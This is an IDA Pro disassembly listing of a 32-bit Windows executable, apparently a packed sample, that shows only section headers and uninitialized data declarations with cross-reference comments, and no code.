; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D4A06BDC3A434D7FA41A9DCE3B92F063 ; File Name : C:\Documents and Settings\Vernier Image User\Desktop\foo2.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0003C090 ( 245904.) ; Section size in file : 00000619 ( 1561.) ; Offset to raw data for section: 00000400 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code _weit$l segment para public 'CODE' use32 assume cs:_weit$l ;org 401000h assume es:nothing, ss:nothing, ds:_weit$l, fs:nothing, gs:nothing dd 0C3h dup(0) db 2 dup(0) start dw 0 dd 0C2h dup(0) db 0 db 3 dup(?) dword_40161C dd 0AE9Eh dup(?) off_42D094 dd ? ; DATA XREF: sub_13D73E0+10r dd ? ; jump table for switch statement dd ? dd ? dd ? dd 0B4h dup(?) dword_42D378 dd 6 dup(?) db 3 dup(?) byte_42D393 db ? ; DATA XREF: .idata:013D7900o dd 6 dup(?) db ? byte_42D3AD db 3 dup(?) ; DATA XREF: .idata:013D7904o dd 5 dup(?) db 3 dup(?) byte_42D3C7 db ? ; DATA XREF: .idata:013D7908o dd 4Dh dup(?) off_42D4FC dd ? ; DATA XREF: sub_13D76E0+91r dd ? ; jump table for switch statement dd ? dd ? dd 7DDh dup(?) dword_42F480 dd 1ECh dup(?) dword_42FC30 dd 13Bh dup(?) off_43011C dd ? ; DATA XREF: sub_13DA4E0+Er dd ? ; jump table for switch statement dd ? dd ? dd 1E8Eh dup(?) db 2 dup(?) SEH_13AD8E0 dw ? ; DATA XREF: sub_13AD8E0+2o dd 1C4h dup(?) db 3 dup(?) SEH_13AEA40 db ? ; DATA XREF: sub_13AEA40+2o dd 1FFh dup(?) SEH_13B4690 dd 0Fh dup(?) ; DATA XREF: sub_13B4690+2o db 3 dup(?) SEH_13B4830 db ? ; DATA XREF: sub_13B4830+2o dd 8 dup(?) db ? byte_438AD9 db 3 dup(?) ; DATA XREF: .idata:013B4D52o dd 5 dup(?) SEH_13B5210 dd 4 dup(?) ; DATA XREF: sub_13B5210+5o SEH_13B5390 dd 3D6h dup(?) ; DATA XREF: sub_13B5390+5o SEH_13BD7E0 dd 5F6h dup(?) ; DATA XREF: sub_13BD7E0+2o SEH_13C91C0 dd 25Ch dup(?) ; DATA XREF: sub_13C91C0+5o SEH_13D52E0 dd 4 dup(?) ; DATA XREF: sub_13D52E0+5o SEH_13D53F0 dd 594h dup(?) ; DATA XREF: sub_13D53F0+5o _weit$l ends ; Section 2. (virtual address 0003E000) ; Virtual size : 00004AD6 ( 19158.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data _t623ai segment para public 'DATA' use32 assume cs:_t623ai ;org 43E000h dword_43E000 dd ? dword_43E004 dd ? dword_43E008 dd ? ; sub_13B1000o dword_43E00C dd ? dword_43E010 dd ? ; sub_13B3F40+Bo ... dword_43E014 dd 3 dup(?) ; sub_13B5210+1Co dword_43E020 dd ? ; sub_13B5570+1Eo flt_43E024 dd ? ; DATA XREF: sub_13B5B90+36r dword_43E028 dd 3 dup(?) ; sub_13BA1B0+1Do dword_43E034 dd ? ; sub_13BA1B0+23o dword_43E038 dd 3 dup(?) ; sub_13BBD20+1Do dword_43E044 dd 3 dup(?) ; sub_13BD630+1Fo dword_43E050 dd 3 dup(?) ; sub_13C2200+8o dword_43E05C dd 3 dup(?) ; sub_13C2230+8o dword_43E068 dd 3 dup(?) ; sub_13C9FE0+8o dword_43E074 dd ? ; sub_13C34C0+36o dword_43E078 dd ? dword_43E07C dd ? dword_43E080 dd ? dword_43E084 dd ? dword_43E088 dd ? dword_43E08C dd ? dword_43E090 dd ? dword_43E094 dd ? dword_43E098 dd ? dword_43E09C dd ? dword_43E0A0 dd ? dword_43E0A4 dd ? dword_43E0A8 dd ? dword_43E0AC dd ? dbl_43E0B0 dq ? ; DATA XREF: sub_13C3CD0+22r dd ? dword_43E0BC dd ? ; sub_13C4520+6o dword_43E0C0 dd ? ; sub_13C5450o dword_43E0C4 dd 3 dup(?) ; sub_13C5880+1Do dword_43E0D0 dd 3 dup(?) ; sub_13C7B70+1Do dword_43E0DC dd 4 dup(?) dword_43E0EC dd 4 dup(?) ; sub_13D0980+1Do dword_43E0FC dd 4 dup(?) dword_43E10C dd 4 dup(?) dword_43E11C dd 4 dup(?) dword_43E12C dd 4 dup(?) dword_43E13C dd 4 dup(?) ; sub_13D2310+1Do dword_43E14C dd 4 dup(?) ; sub_13D2670+10o dword_43E15C dd 4 dup(?) ; sub_13D3E80+9o dword_43E16C dd 4 dup(?) dword_43E17C dd 4 dup(?) dword_43E18C dd ? dword_43E190 dd 3 dup(?) dword_43E19C dd ? dword_43E1A0 dd 4 dup(?) dword_43E1B0 dd 4 dup(?) dword_43E1C0 dd 3B0h dup(?) dword_43F080 dd 0EE0h dup(?) ; .idata:013B4D97o _t623ai ends ; Section 3. (virtual address 00043000) ; Virtual size : 00BE9B98 (12491672.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00000000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data _$4895f segment para public 'DATA' use32 assume cs:_$4895f ;org 443000h dd 148h dup(?) dword_443520 dd 33h dup(?) dword_4435EC dd ? ; sub_13BA370:loc_13BAC4Eo ... dword_4435F0 dd ? ; sub_13AF070+875o ... dword_4435F4 dd 3 dup(?) ; sub_13AF070+831o ... dword_443600 dd ? ; sub_13AEA40+1EDo ... dword_443604 dd ? ; sub_13BA370:loc_13BAD59o ... dword_443608 dd 9 dup(?) dword_44362C dd 8 dup(?) dword_44364C dd 7 dup(?) dword_443668 dd 7 dup(?) dword_443684 dd 2 dup(?) ; sub_13AF070+105Eo ... dword_44368C dd 7 dup(?) dword_4436A8 dd ? dword_4436AC dd 4 dup(?) dword_4436BC dd 6 dup(?) dword_4436D4 dd 3 dup(?) dword_4436E0 dd 5 dup(?) dword_4436F4 dd 2 dup(?) ; sub_13C6440+Eo dword_4436FC dd 4 dup(?) ; sub_13AF070+9B1o ... dword_44370C dd 5 dup(?) dword_443720 dd 1Eh dup(?) dword_443798 dd 3 dup(?) dword_4437A4 dd ? dword_4437A8 dd 2 dup(?) dword_4437B0 dd ? dword_4437B4 dd 2 dup(?) dword_4437BC dd ? dword_4437C0 dd ? dword_4437C4 dd ? dword_4437C8 dd ? dword_4437CC dd 2 dup(?) ; sub_13B1030+205o dword_4437D4 dd 3 dup(?) ; sub_13B9040+88o dword_4437E0 dd 3 dup(?) dword_4437EC dd 2 dup(?) dword_4437F4 dd ? ; sub_13B1B90+F55o ... dword_4437F8 dd ? ; sub_13BA370+7CCo ... dword_4437FC dd 3 dup(?) dword_443808 dd 5 dup(?) dword_44381C dd 3 dup(?) dword_443828 dd 0Ah dup(?) dword_443850 dd 3 dup(?) dword_44385C dd 2 dup(?) dword_443864 dd 2 dup(?) dword_44386C dd 5 dup(?) dword_443880 dd 2 dup(?) dword_443888 dd ? dword_44388C dd 2 dup(?) dword_443894 dd 6 dup(?) dword_4438AC dd 2 dup(?) ; sub_13B1B90+2DCo dword_4438B4 dd 2 dup(?) ; sub_13B1B90+2CBo dword_4438BC dd 21h dup(?) dword_443940 dd 9 dup(?) ; .idata:013B4D71o dword_443964 dd 2 dup(?) ; sub_13B5B00+43o ... dword_44396C dd ? dword_443970 dd 15h dup(?) dword_4439C4 dd 6 dup(?) dword_4439DC dd 0Dh dup(?) dword_443A10 dd 8 dup(?) dword_443A30 dd 4 dup(?) dword_443A40 dd 7 dup(?) dword_443A5C dd 8 dup(?) dword_443A7C dd 7 dup(?) dword_443A98 dd 8 dup(?) dword_443AB8 dd 8 dup(?) dword_443AD8 dd 0Ah dup(?) dword_443B00 dd 5 dup(?) dword_443B14 dd ? ; sub_13CA500+100o dword_443B18 dd 4 dup(?) dword_443B28 dd 2 dup(?) dword_443B30 dd 4 dup(?) dword_443B40 dd 2 dup(?) dword_443B48 dd 2 dup(?) dword_443B50 dd 4 dup(?) dword_443B60 dd 5 dup(?) dword_443B74 dd 8 dup(?) dword_443B94 dd 7 dup(?) dword_443BB0 dd 4 dup(?) dword_443BC0 dd 7 dup(?) dword_443BDC dd 0Ch dup(?) dword_443C0C dd 3 dup(?) dword_443C18 dd 5 dup(?) ; sub_13B93A0+Ao ... dword_443C2C dd 5 dup(?) dword_443C40 dd 9 dup(?) dword_443C64 dd 5 dup(?) dword_443C78 dd 7 dup(?) dword_443C94 dd ? ; sub_13BA370+1118o ... dword_443C98 dd ? ; sub_13BA370+D15o ... dword_443C9C dd ? ; sub_13BA370:loc_13BAFC7o dword_443CA0 dd ? ; sub_13BA370:loc_13BAFA6o dword_443CA4 dd ? ; sub_13BA370:loc_13BAFE8o ... dword_443CA8 dd 4 dup(?) ; sub_13BA370+732o ... dword_443CB8 dd 7 dup(?) dword_443CD4 dd 4 dup(?) ; sub_13BCAC0+91o ... dword_443CE4 dd 4 dup(?) dword_443CF4 dd 2 dup(?) ; sub_13D75C0+71o dword_443CFC dd 4 dup(?) ; sub_13BCD80+8Fo dword_443D0C dd 3 dup(?) dword_443D18 dd 3 dup(?) dword_443D24 dd ? ; sub_13BCAC0+E5o dword_443D28 dd 2 dup(?) dword_443D30 dd 2 dup(?) dword_443D38 dd 2 dup(?) dword_443D40 dd ? dword_443D44 dd ? dword_443D48 dd ? dword_443D4C dd ? dword_443D50 dd ? dword_443D54 dd 2 dup(?) dword_443D5C dd 2 dup(?) dword_443D64 dd 2 dup(?) dword_443D6C dd 2 dup(?) ; sub_13C36D0+297o dword_443D74 dd 3 dup(?) dword_443D80 dd 4 dup(?) dword_443D90 dd ? ; sub_13D5700+22o ... dword_443D94 dd 3 dup(?) ; sub_13C36D0+12Eo dword_443DA0 dd ? dword_443DA4 dd ? dword_443DA8 dd 0Eh dup(?) byte_443DE0 db ? ; DATA XREF: sub_13C46A0r db 3 dup(?) dword_443DE4 dd ? ; sub_13C5500+145o ... dword_443DE8 dd 13h dup(?) dword_443E34 dd 5 dup(?) dword_443E48 dd 5 dup(?) dword_443E5C dd 0Eh dup(?) dword_443E94 dd 2 dup(?) ; sub_13C9C70+E5o dword_443E9C dd ? dword_443EA0 dd ? ; sub_13CEC60+327o dword_443EA4 dd ? dword_443EA8 dd ? dword_443EAC dd ? dword_443EB0 dd ? dword_443EB4 dd ? dword_443EB8 dd ? dword_443EBC dd ? ; sub_13C6660+37r word_443EC0 dw ? ; DATA XREF: sub_13C64F0+41r ; sub_13C6660+41r db 2 dup(?) dword_443EC4 dd ? ; sub_13C6660+6r dword_443EC8 dd ? ; sub_13C6660+Br dword_443ECC dd ? ; sub_13C6660+2Fr dd ? dword_443ED4 dd 5 dup(?) dword_443EE8 dd 3 dup(?) dword_443EF4 dd 5 dup(?) dword_443F08 dd 2 dup(?) dword_443F10 dd 4 dup(?) dword_443F20 dd ? ; sub_13CA090+7o dword_443F24 dd 4 dup(?) dword_443F34 dd 19h dup(?) dword_443F98 dd 5 dup(?) dword_443FAC dd 4 dup(?) dword_443FBC dd 4 dup(?) dword_443FCC dd 4 dup(?) dword_443FDC dd 5 dup(?) dword_443FF0 dd 4 dup(?) dword_444000 dd 3 dup(?) dword_44400C dd 4 dup(?) dword_44401C dd 3 dup(?) dword_444028 dd 2 dup(?) dword_444030 dd 3 dup(?) dword_44403C dd 2 dup(?) dword_444044 dd 7 dup(?) dword_444060 dd 2 dup(?) ; sub_13C9340+6A9o dword_444068 dd 2 dup(?) ; sub_13C9340+677o dword_444070 dd 0Fh dup(?) dword_4440AC dd ? dword_4440B0 dd 2 dup(?) ; sub_13C9340+51Ao dword_4440B8 dd ? ; sub_13C9340+33Ao ... dword_4440BC dd 2 dup(?) ; sub_13C9340+29Bo ... dword_4440C4 dd 2 dup(?) ; sub_13C9340+269o dword_4440CC dd 2 dup(?) ; sub_13C9340+237o dword_4440D4 dd 2 dup(?) ; sub_13C9340+205o dword_4440DC dd 7 dup(?) dword_4440F8 dd 9 dup(?) dword_44411C dd 2 dup(?) dword_444124 dd ? ; sub_13CA940+C4r dword_444128 dd ? db 4 dup(?) dword_444130 dd 3 dup(?) ; sub_13CABF0+316o dword_44413C dd 0Bh dup(?) ; sub_13CABF0+2BEo dword_444168 dd 5 dup(?) dword_44417C dd 7 dup(?) dword_444198 dd 6 dup(?) dword_4441B0 dd 4 dup(?) dword_4441C0 dd 3 dup(?) ; sub_13CA940+34o dword_4441CC dd 3 dup(?) dword_4441D8 dd 5 dup(?) dword_4441EC dd 9 dup(?) dword_444210 dd 2 dup(?) dword_444218 dd 3 dup(?) dword_444224 dd 3 dup(?) dword_444230 dd 2 dup(?) dword_444238 dd 3 dup(?) dword_444244 dd 3 dup(?) dword_444250 dd 3 dup(?) dword_44425C dd 3 dup(?) dword_444268 dd 3 dup(?) dword_444274 dd 2 dup(?) dword_44427C dd 4 dup(?) dword_44428C dd 3 dup(?) dword_444298 dd 2 dup(?) dword_4442A0 dd 3 dup(?) dword_4442AC dd 3 dup(?) dword_4442B8 dd 5 dup(?) dword_4442CC dd 2 dup(?) dword_4442D4 dd 3 dup(?) dword_4442E0 dd 3 dup(?) dword_4442EC dd 2 dup(?) dword_4442F4 dd 2 dup(?) dword_4442FC dd 2 dup(?) dword_444304 dd 5 dup(?) dword_444318 dd 4 dup(?) dword_444328 dd 3 dup(?) dword_444334 dd ? dword_444338 dd 2 dup(?) dword_444340 dd 3 dup(?) dword_44434C dd ? dword_444350 dd 3 dup(?) dword_44435C dd 6 dup(?) dword_444374 dd 4 dup(?) dword_444384 dd 3 dup(?) dword_444390 dd 0Ah dup(?) dword_4443B8 dd 4 dup(?) dword_4443C8 dd 3 dup(?) dword_4443D4 dd 2 dup(?) dword_4443DC dd 3 dup(?) dword_4443E8 dd 3 dup(?) dword_4443F4 dd 2 dup(?) dword_4443FC dd 3 dup(?) dword_444408 dd 3 dup(?) dword_444414 dd 3 dup(?) ; sub_13CABF0:loc_13CAE7Bo dword_444420 dd ? ; sub_13CB220+F9o ... dword_444424 dd ? ; sub_13CB220:loc_13CB48Eo ... dword_444428 dd 2 dup(?) ; sub_13CB220+257o ... dword_444430 dd 0Ah dup(?) dword_444458 dd ? ; sub_13CCE50+316o ... dword_44445C dd ? dword_444460 dd ? ; sub_13CDA00+3Ar ... dd 29h dup(?) dword_444508 dd 14h dup(?) dword_444558 dd 4 dup(?) dword_444568 dd 2 dup(?) dword_444570 dd 7 dup(?) dword_44458C dd ? dword_444590 dd ? ; sub_13CCE50+7A9o ... dword_444594 dd ? ; sub_13CCE50+7EBo dword_444598 dd 6 dup(?) dword_4445B0 dd 4 dup(?) dword_4445C0 dd 3 dup(?) dword_4445CC dd 4 dup(?) dword_4445DC dd 9 dup(?) dword_444600 dd 6 dup(?) dword_444618 dd 8 dup(?) dword_444638 dd 0Ah dup(?) dword_444660 dd 6 dup(?) dword_444678 dd 5 dup(?) dword_44468C dd 5 dup(?) dword_4446A0 dd 8 dup(?) dword_4446C0 dd 4 dup(?) dword_4446D0 dd 0Ch dup(?) dword_444700 dd 20h dup(?) dword_444780 dd 12h dup(?) dword_4447C8 dd 10h dup(?) dword_444808 dd 0Fh dup(?) dword_444844 dd 3 dup(?) dword_444850 dd 2 dup(?) dword_444858 dd ? dword_44485C dd 2 dup(?) dword_444864 dd 22h dup(?) dword_4448EC dd 0Ch dup(?) dword_44491C dd ? dword_444920 dd ? db 4 dup(?) dword_444928 dd 5Ah dup(?) dword_444A90 dd 49h dup(?) dword_444BB4 dd ? dword_444BB8 dd ? dword_444BBC dd 3 dup(?) dword_444BC8 dd ? dword_444BCC dd ? dword_444BD0 dd 2 dup(?) dword_444BD8 dd 3 dup(?) dword_444BE4 dd 29h dup(?) dword_444C88 dd 3 dup(?) db 2 dup(?) word_444C96 dw ? ; DATA XREF: sub_13CF900+D3w db 3 dup(?) byte_444C9B db ? ; DATA XREF: sub_13CF900+DAw db 4 dup(?) dword_444CA0 dd 3 dup(?) db ? byte_444CAD db ? ; DATA XREF: sub_13CF900+AEw db 2 dup(?) db ? byte_444CB1 db ? ; DATA XREF: sub_13CF900+B4w db 6 dup(?) dword_444CB8 dd 19h dup(?) dword_444D1C dd ? dd 3 dup(?) dword_444D2C dd ? byte_444D30 db ? ; DATA XREF: sub_13CF690+A2r dword_444D31 dd ? dword_444D35 dd ? ; sub_13CF690+D2r dword_444D39 dd ? dword_444D3D dd ? ; sub_13CF690+E7r byte_444D41 db 3 dup(?) ; DATA XREF: sub_13CF690+110o dd ? db 3 dup(?) dword_444D4B dd ? align 10h dd 17h dup(?) dword_444DAC dd 2 dup(?) dword_444DB4 dd 0Dh dup(?) dword_444DE8 dd 0Bh dup(?) dword_444E14 dd 9 dup(?) dword_444E38 dd 4 dup(?) dword_444E48 dd 5 dup(?) dword_444E5C dd 5 dup(?) dword_444E70 dd 3 dup(?) dword_444E7C dd 2 dup(?) dword_444E84 dd 7 dup(?) dword_444EA0 dd 8 dup(?) dword_444EC0 dd 7 dup(?) dword_444EDC dd ? dword_444EE0 dd 7 dup(?) dword_444EFC dd 7 dup(?) dword_444F18 dd ? dword_444F1C dd 5 dup(?) dword_444F30 dd 8 dup(?) dword_444F50 dd ? dword_444F54 dd 10h dup(?) dword_444F94 dd 10h dup(?) dword_444FD4 dd 2Ah dup(?) dword_44507C dd 26h dup(?) dword_445114 dd 0Ch dup(?) dword_445144 dd 6 dup(?) ; sub_13D26E0+B97o dword_44515C dd 8 dup(?) ; sub_13D26E0+B79o dword_44517C dd 4 dup(?) dword_44518C dd 3 dup(?) dword_445198 dd 6 dup(?) dword_4451B0 dd 5 dup(?) dword_4451C4 dd 0Ah dup(?) dword_4451EC dd 0Bh dup(?) dword_445218 dd 4 dup(?) ; sub_13D26E0+9F0o dword_445228 dd 6 dup(?) dword_445240 dd ? ; sub_13D26E0+52Co ... dword_445244 dd 3 dup(?) dword_445250 dd 3 dup(?) ; sub_13D6C30+185o ... dword_44525C dd 3 dup(?) dword_445268 dd ? dword_44526C dd 2 dup(?) dword_445274 dd 0Ah dup(?) dword_44529C dd 0Ah dup(?) dword_4452C4 dd 0Bh dup(?) dword_4452F0 dd 2 dup(?) ; sub_13D44B0+22o dword_4452F8 dd 8 dup(?) dword_445318 dd 0Ch dup(?) dword_445348 dd 2 dup(?) dword_445350 dd ? dword_445354 dd ? dword_445358 dd 10h dup(?) dword_445398 dd 0Dh dup(?) dword_4453CC dd 11h dup(?) dword_445410 dd 5 dup(?) dword_445424 dd 9 dup(?) dword_445448 dd 2 dup(?) ; sub_13D6C30+1D5o ... dword_445450 dd 4 dup(?) ; sub_13D79A0+1C4o ... dword_445460 dd 2 dup(?) ; sub_13D79A0+15Eo dword_445468 dd 4 dup(?) dword_445478 dd 4 dup(?) dword_445488 dd ? ; sub_13D6C30:loc_13D6CEDo dword_44548C dd 8 dup(?) dword_4454AC dd 2 dup(?) dword_4454B4 dd 3 dup(?) dword_4454C0 dd 3 dup(?) dword_4454CC dd 2 dup(?) dword_4454D4 dd ? dword_4454D8 dd 7 dup(?) dword_4454F4 dd ? byte_4454F8 db ? ; DATA XREF: sub_13D76E0+EDr db 3 dup(?) dword_4454FC dd ? byte_445500 db ? ; DATA XREF: sub_13D76E0+D3r db 3 dup(?) dword_445504 dd ? byte_445508 db ? ; DATA XREF: sub_13D76E0+B8r db 3 dup(?) dword_44550C dd ? byte_445510 db ? ; DATA XREF: sub_13D76E0+9Er db 3 dup(?) dword_445514 dd 3 dup(?) ; sub_13D8AA0+4Ao dword_445520 dd 0Dh dup(?) dword_445554 dd 7 dup(?) dword_445570 dd 2 dup(?) dword_445578 dd 2 dup(?) dword_445580 dd 4 dup(?) dword_445590 dd 6 dup(?) dword_4455A8 dd 2 dup(?) dword_4455B0 dd 5 dup(?) dword_4455C4 dd 7 dup(?) dword_4455E0 dd 0Ah dup(?) dword_445608 dd 0Ch dup(?) dword_445638 dd 0Ch dup(?) dword_445668 dd 0Ch dup(?) dword_445698 dd 3 dup(?) dword_4456A4 dd 2 dup(?) dword_4456AC dd 2 dup(?) dword_4456B4 dd 2 dup(?) dword_4456BC dd 2 dup(?) dword_4456C4 dd 2 dup(?) dword_4456CC dd ? dword_4456D0 dd 5 dup(?) dword_4456E4 dd 0Ah dup(?) word_44570C dw ? ; DATA XREF: sub_13D8820+1Fr db 2 dup(?) dword_445710 dd 2 dup(?) dword_445718 dd 3 dup(?) dword_445724 dd 3 dup(?) dword_445730 dd 3 dup(?) dword_44573C dd 3 dup(?) dword_445748 dd 3 dup(?) dword_445754 dd 2 dup(?) dword_44575C dd ? ; sub_13DA880+1Fw ... dd 608h dup(?) byte_446F80 db ? ; DATA XREF: sub_13AD8E0+95o ; sub_13AEA40+200o ... db 3 dup(?) dword_446F84 dd ? ; sub_13CEA10+11o ... dword_446F88 dd ? ; sub_13B76F0+FFr ... db 4 dup(?) dword_446F90 dd ? ; sub_13B76F0+65w ... dd 8 dup(?) dword_446FB4 dd 41h dup(?) ; sub_13B76F0+A0o ... dword_4470B8 dd ? ; sub_13B76F0:loc_13B77E4r ... dword_4470BC dd ? ; sub_13B76F0+6Fr ... dword_4470C0 dd ? ; sub_13B7990+CAw dword_4470C4 dd ? ; sub_13B7990+E3r dd 11h dup(?) dword_44710C dd ? ; sub_13BA370+47Dr dword_447110 dd ? ; sub_13BA370+515r ... dword_447114 dd ? ; sub_13BA370+655r ... dword_447118 dd ? ; sub_13BA370+B79r ... dword_44711C dd ? ; sub_13BA370+74Br dword_447120 dd ? ; sub_13BA370+828r dword_447124 dd ? ; sub_13BA370+77Cr dword_447128 dd ? ; sub_13BA370+4DDr ... dword_44712C dd ? ; sub_13BA370+311r dword_447130 dd ? ; sub_13BA370+34Dr ... dword_447134 dd ? ; sub_13BA370+33Dr dword_447138 dd ? ; sub_13BA370+3D2r dword_44713C dd ? ; sub_13BA370+E93r dword_447140 dd ? ; sub_13BA370+1220r ... dword_447144 dd ? ; sub_13BC3F0+4DAr dword_447148 dd ? ; sub_13BA370+683r dword_44714C dd ? ; sub_13BA370+6B5r dword_447150 dd ? ; sub_13BA370+1252r dd 5 dup(?) dword_447168 dd 10h dup(?) ; sub_13AE3C0+9Fo ... db 2 dup(?) byte_4471AA db ? ; DATA XREF: sub_13B3E30r sub_13B3EA0r align 4 db 3 dup(?) byte_4471AF db ? ; DATA XREF: sub_13B7990+10Fr db ? byte_4471B1 db ? ; DATA XREF: sub_13B7F20r word_4471B2 dw ? ; DATA XREF: sub_13B7F20+9o dd 44h dup(?) db 3 dup(?) byte_4472C7 db ? ; DATA XREF: sub_13BD0C0+21Ao ; sub_13BD0C0+2CFo ... db 3 dup(?) byte_4472CB db ? ; DATA XREF: sub_13C9C70:loc_13C9CADr db 4 dup(?) dword_4472D0 dd 12h dup(?) ; sub_13BA370+114o db ? byte_447319 db 3 dup(?) ; DATA XREF: sub_13B1B90+1354o ; sub_13BA370+159o ... dd 11h dup(?) db 2 dup(?) word_447362 dw ? ; DATA XREF: sub_13B1B90+132Bo ; sub_13BA370+132o dd 6 dup(?) word_44737C dw ? ; DATA XREF: sub_13BA370+1E1r db 2 dup(?) dd 0Ah dup(?) db 3 dup(?) byte_4473AB db ? ; DATA XREF: sub_13B1B90+137Do ; sub_13BA370+17Co ... dd 12h dup(?) dword_4473F4 dd 12h dup(?) ; sub_13BA370+F7o ... db ? byte_44743D db 3 dup(?) ; DATA XREF: sub_13B1B90+12B6o ; sub_13BA370+D0o ... dd 23h dup(?) db 3 dup(?) byte_4474CF db ? ; DATA XREF: sub_13B1B90+13A6o ; sub_13BA370+19Ao dd 24h dup(?) db ? byte_447561 db 3 dup(?) ; DATA XREF: sub_13CF440+2Bo ; sub_13CF440+37o dd 11h dup(?) db 2 dup(?) word_4475AA dw ? ; DATA XREF: sub_13BD0C0+1EAo ; sub_13BD0C0+209o ... dd 3Ch dup(?) db 3 dup(?) dword_44769F dd ? ; sub_13C9340+154r ... align 4 dd 35h dup(?) db ? byte_447779 db ? ; DATA XREF: sub_13C5D60+18r db 2 dup(?) dd 23h dup(?) db 3 dup(?) byte_44780B db ? ; DATA XREF: sub_13B7990:loc_13B7D1Fr dd 12h dup(?) byte_447854 db ? ; DATA XREF: sub_13BA370+842r db 3 dup(?) dd 0Bh dup(?) dword_447884 dd 18h dup(?) ; sub_13B9180+97o ... db 2 dup(?) byte_4478E6 db ? ; DATA XREF: sub_13AF070+258r ; sub_13C7C40+671r align 4 dd 11h dup(?) db 3 dup(?) byte_44792F db ? ; DATA XREF: sub_13AF070:loc_13AF2E0r ; sub_13C7C40:loc_13C82C9r dd 0Bh dup(?) db 3 dup(?) byte_44795F db ? ; DATA XREF: sub_13AF070+279o ; sub_13C7C40+692o ... dd 12h dup(?) dword_4479A8 dd 2Bh dup(?) ; sub_13C9340+630o ... dword_447A54 dd ? dd 11h dup(?) db ? dword_447A9D dd ? db 3 dup(?) dd 0D9h dup(?) byte_447E08 db ? ; DATA XREF: sub_13C9340+146r ; sub_13C9340+5EEr db 3 dup(?) dd 3A8h dup(?) db 2 dup(?) word_448CAE dw ? ; DATA XREF: sub_13AEA40+1BDo ; sub_13AEF10+31o ... db 2 dup(?) word_448CB2 dw ? ; DATA XREF: sub_13AEF10+4o dd 1Ch dup(?) db 2 dup(?) word_448D26 dw ? ; DATA XREF: sub_13B1A60+36o ; sub_13B1AF0+3Eo ... dd 26h dup(?) dword_448DC0 dd 86h dup(?) ; sub_13AF070+27Eo ... db 3 dup(?) dword_448FDB dd ? ; sub_13CFA60+15r ... align 10h dd 9C2h dup(?) db 2 dup(?) word_44B6EA dw ? ; DATA XREF: sub_13CFC90+6o ; sub_13CFCC0+9o db 2 dup(?) dword_44B6EE dd ? ; .idata:013CE4C3w ... db 2 dup(?) dd 2 dup(?) db 2 dup(?) dword_44B6FE dd ? ; .idata:013CE50Dr ... db 2 dup(?) dd 0EE247h dup(?) db ? byte_804021 db 3 dup(?) ; DATA XREF: sub_13B0C90+1DBo ; sub_13B0C90+1E5o dd 732F9h dup(?) dword_9D0C08 dd ? ; sub_13C2140+22r ... dd 0Ah dup(?) db 2 dup(?) dword_9D0C36 dd ? ; sub_13C2140+2Dr ... db 2 dup(?) dd 0Ah dup(?) dword_9D0C64 dd ? ; sub_13C2140+40r ... dd 0Ah dup(?) db 2 dup(?) dword_9D0C92 dd ? ; sub_13C2140+50r ... db 2 dup(?) dd 0Ah dup(?) dword_9D0CC0 dd ? ; sub_13C2140+60r ... dd 7A6h dup(?) db ? dword_9D2B5D dd ? ; sub_13C1140+94r ... db 3 dup(?) dd 4 dup(?) byte_9D2B74 db ? ; DATA XREF: sub_13C2740+20r db 3 dup(?) dd 0B3h dup(?) db 3 dup(?) dword_9D2E47 dd ? ; sub_13C1140+A4r ... align 4 dd 9 dup(?) dword_9D2E70 dd ? ; sub_13C1140+B4r ... dd 4 dup(?) db ? dword_9D2E85 dd ? ; sub_13C1140+C4r ... db 3 dup(?) dd 45h dup(?) db 2 dup(?) dword_9D2FA2 dd ? ; sub_13C1140+D4r ... db 2 dup(?) dd 45h dup(?) db 3 dup(?) dword_9D30BF dd ? ; sub_13C1140+E4r ... align 4 dd 16h dup(?) db 3 dup(?) dword_9D311F dd ? align 4 dd 413Bh dup(?) db 3 dup(?) dword_9E3613 dd ? ; sub_13C1140+104r ... align 4 dd 16h dup(?) db 3 dup(?) dword_9E3673 dd ? ; sub_13C1140+10Fr ... align 4 dd 16h dup(?) db 3 dup(?) dword_9E36D3 dd ? ; sub_13C1140+11Fr ... align 4 dd 0Bh dup(?) db ? dword_9E3705 dd ? ; sub_13C1140+12Fr ... db 3 dup(?) dd 21h dup(?) db 3 dup(?) dword_9E3793 dd ? ; sub_13C1140+13Fr ... align 4 dd 0Dh dup(?) db ? dword_9E37CD dd ? ; sub_13C1140+154r ... db 3 dup(?) dd 0Ah dup(?) db 3 dup(?) dword_9E37FF dd ? ; sub_13C1140+15Fr ... align 4 dd 0Bh dup(?) db ? dword_9E3831 dd ? ; sub_13C1140+16Fr ... db 3 dup(?) dd 2 dup(?) db 2 dup(?) dword_9E3842 dd ? ; sub_13C1140+17Fr ... db 2 dup(?) dd 39h dup(?) byte_9E392C db ? ; DATA XREF: sub_13C2740+11w ; sub_13C2740:loc_13C2782w ... dword_9E392D dd ? ; sub_13C1140+18Fr ... db 3 dup(?) dd 3 dup(?) db 2 dup(?) dword_9E3942 dd ? ; sub_13C1140+19Fr db 2 dup(?) dd 3 dup(?) db 3 dup(?) dword_9E3957 dd ? ; sub_13C1140+1AFr ... align 4 dd 4 dup(?) dword_9E396C dd ? ; sub_13C1140+1BFr ... dd 4 dup(?) db 3 dup(?) dword_9E3983 dd ? ; sub_13C1140+1D3r ... align 4 dd 10D894h dup(?) db 3 dup(?) dword_E19BDB dd ? ; sub_13CFD00+13o align 10h dd 39h dup(?) db ? byte_E19CC5 db 3 dup(?) ; DATA XREF: sub_13AE3C0+499o ; sub_13AF020+1Eo ... dd 5 dup(?) byte_E19CDC db ? ; DATA XREF: sub_13AF070+292w ; sub_13AF070+4EEw dword_E19CDD dd ? ; sub_13CCE50:loc_13CD5DAr ... db 3 dup(?) dd ? db ? dword_E19CE9 dd ? ; sub_13AF020+2Aw byte_E19CED db 3 dup(?) ; DATA XREF: sub_13BD0C0+244o ; sub_13BD0C0+267o dd 9 dup(?) db 3 dup(?) 